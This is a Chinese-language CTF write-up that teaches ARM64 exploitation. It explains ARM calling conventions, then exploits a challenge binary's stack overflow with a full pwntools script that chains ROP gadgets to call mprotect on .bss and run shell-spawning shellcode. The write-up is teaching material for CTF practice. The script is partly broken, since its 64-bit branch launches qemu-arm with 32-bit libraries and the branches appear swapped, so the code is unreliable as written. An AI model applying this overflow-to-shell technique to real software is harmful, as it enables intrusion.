ARMPWN初探-题目复现
字数 2149 2025-08-07 08:22:25
ARM PWN 入门教程:题目复现与分析
0x00 前置知识
ARM 数据类型和寄存器
数据类型
- ARM 架构支持多种数据类型,包括字节(8位)、半字(16位)、字(32位)和双字(64位)
- 字节序可以是小端(Little-Endian)或大端(Big-Endian)
寄存器
- ARM 架构有 16 个通用寄存器(R0-R15)
- 特殊寄存器:
- PC (R15):程序计数器
- LR (R14):链接寄存器,保存返回地址
- SP (R13):堆栈指针
- CPSR:当前程序状态寄存器
32位ARM的约定
- ATPCS(ARM-Thumb Procedure Call Standard)规定:
- 堆栈是满递减堆栈(FD)
- 返回32位整数时,使用R0返回
- 返回64位值时,R0返回低位,R1返回高位
- 子程序调用时必须保存的寄存器:R4-R11和SP
- 不需要保存的寄存器:R0-R3、R12
- 参数传递:
- 前4个参数通过R0-R3传递
- 第5个及以后的参数通过堆栈传递(SP访问第5个,SP+4访问第6个,以此类推)
64位ARM的约定
- 子程序调用时必须保存的寄存器:X19-X29和SP(X31)
- 不需要保存的寄存器:X0-X7、X9-X15
- 参数传递:
- 前8个参数通过X0-X7传递
- 第9个及以后的参数通过堆栈传递(SP访问第9个,SP+8访问第10个,以此类推)
32位与64位寄存器的差异
- 32位ARM:寄存器命名为R0-R15
- 64位ARM:寄存器命名为X0-X30(64位)或W0-W30(32位)
- 部分32位存在的指令在64位下不存在(如vswp)
ARM指令集
ARM处理器状态
- ARM状态:32位指令
- Thumb状态:16位指令
- 编写shellcode时,通常使用Thumb指令以减少NULL字节的出现
ARM指令简介
- 基本格式:
MNEMONIC {S} {condition} {Rd}, Operand1, Operand2- S:设置条件标志
- condition:执行条件
- Rd:目标寄存器
- 条件执行:与CPSR寄存器的值紧密相关
32位ARM指令特点
- 使用加载存储模型进行内存访问
- 只有LDR(加载)和STR(存储)指令能直接访问内存
- 其他指令只能操作寄存器
0x01 查看程序信息
- 程序类型:64位ARM架构,动态链接
- 保护机制:
- 开启NX(不可执行栈)
- 部分RELRO(重定位只读)
0x02 动态分析
- 程序有两个输入点:
- 第一个输入点(powercat):输入存储在.bss段
- 第二个输入点(cat):可能存在栈溢出漏洞
- 测试发现第二个输入点输入长字符串会导致段错误(Segmentation fault),确认存在栈溢出漏洞
0x03 静态分析
- main函数结构简单:
- 读取名字到.bss段(全局变量unk_411068)
- 调用函数sub_4007F0
- sub_4007F0函数:
- 局部变量v1的缓冲区空间不大
- 允许输入0x200字节数据,远超缓冲区大小
- 发现关键函数mprotect:
- 可用于修改内存页权限
- 函数原型:
int mprotect(const void *start, size_t len, int prot)
0x04 利用思路
攻击步骤
- 通过第一个输入点将shellcode写入.bss段
- 利用mprotect将.bss段设置为可执行
- 通过栈溢出劫持控制流到.bss段执行shellcode
ARM64传参机制
- 前8个参数通过X0-X7传递
- 第9个及以后的参数通过堆栈传递
- mprotect需要3个参数:
- X0: 起始地址
- X1: 长度
- X2: 权限标志
ROP链构造
- 需要找到合适的gadget来设置寄存器值
- 关键gadget:
- gadget1(0x4008CC):从堆栈加载数据到寄存器
- gadget2(0x4008AC):寄存器间数据传输和函数调用
栈布局分析
- 缓冲区溢出需要填充0x48字节垃圾数据
- 后续构造ROP链:
- gadget1地址
- 填充数据
- gadget2地址
- 寄存器设置值
- mprotect参数
- shellcode地址
利用代码实现
shellcode部署
- 使用aarch64架构的shellcode
- 不能使用x86架构的shellcode生成方式
- 正确生成方式:
asm(shellcraft.aarch64.sh())
完整exp示例
#encoding = utf-8
from pwn import *
context.log_level = "debug"
context.arch = 'aarch64'
context.os = 'linux'
binary = "pwn"
local = 1
arm = 1
core = 64
if local:
if arm:
if core == 64:
p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi",binary])
else:
p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = process(binary)
else:
p = remote(ip,port)
elf = ELF(binary)
mprotect_plt = elf.plt['mprotect']
gadget1 = 0x4008CC
gadget2 = 0x4008AC
mprotect_addr = 0x411068 # bss段地址
shellcode_addr = 0x411070
shellcode = asm(shellcraft.aarch64.sh())
def pwn():
# 第一阶段:部署shellcode到.bss段
payload = p64(mprotect_plt)
payload += shellcode
p.sendlineafter('Name:', payload)
# 第二阶段:栈溢出利用
payload = 'a'*0x48 # 填充缓冲区
payload += p64(gadget1) # 第一个gadget地址
payload += p64(0) # 填充
payload += p64(gadget2) # 第二个gadget地址
payload += p64(0x0) # x19
payload += p64(0x1) # x20 (x19+1必须等于x20)
payload += p64(mprotect_addr) # x3 (函数地址)
payload += p64(0x7) # 权限标志(PROT_READ|PROT_WRITE|PROT_EXEC)
payload += p64(0x1000) # 长度
payload += p64(0) # 填充
payload += p64(shellcode_addr) # 返回到shellcode
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
pwn()
关键点总结
-
ARM架构差异:
- 32位和64位ARM在寄存器使用、调用约定上有显著差异
- 指令集不完全相同,部分32位指令在64位下不可用
-
调试环境搭建:
- 使用qemu模拟ARM环境
- 需要指定正确的库路径(-L参数)
-
shellcode生成:
- 必须使用对应架构的shellcode
- 错误使用x86 shellcode会导致利用失败
-
ROP链构造:
- 需要仔细分析gadget的功能
- 注意寄存器间的依赖关系(如x19+1必须等于x20)
-
内存权限修改:
- mprotect是绕过NX保护的关键
- 需要正确设置起始地址、长度和权限标志
通过这个案例,我们学习了ARM架构下的漏洞利用基本方法,包括shellcode部署、ROP链构造和内存权限修改等技术。这些技术在ARM平台漏洞利用中具有普遍适用性。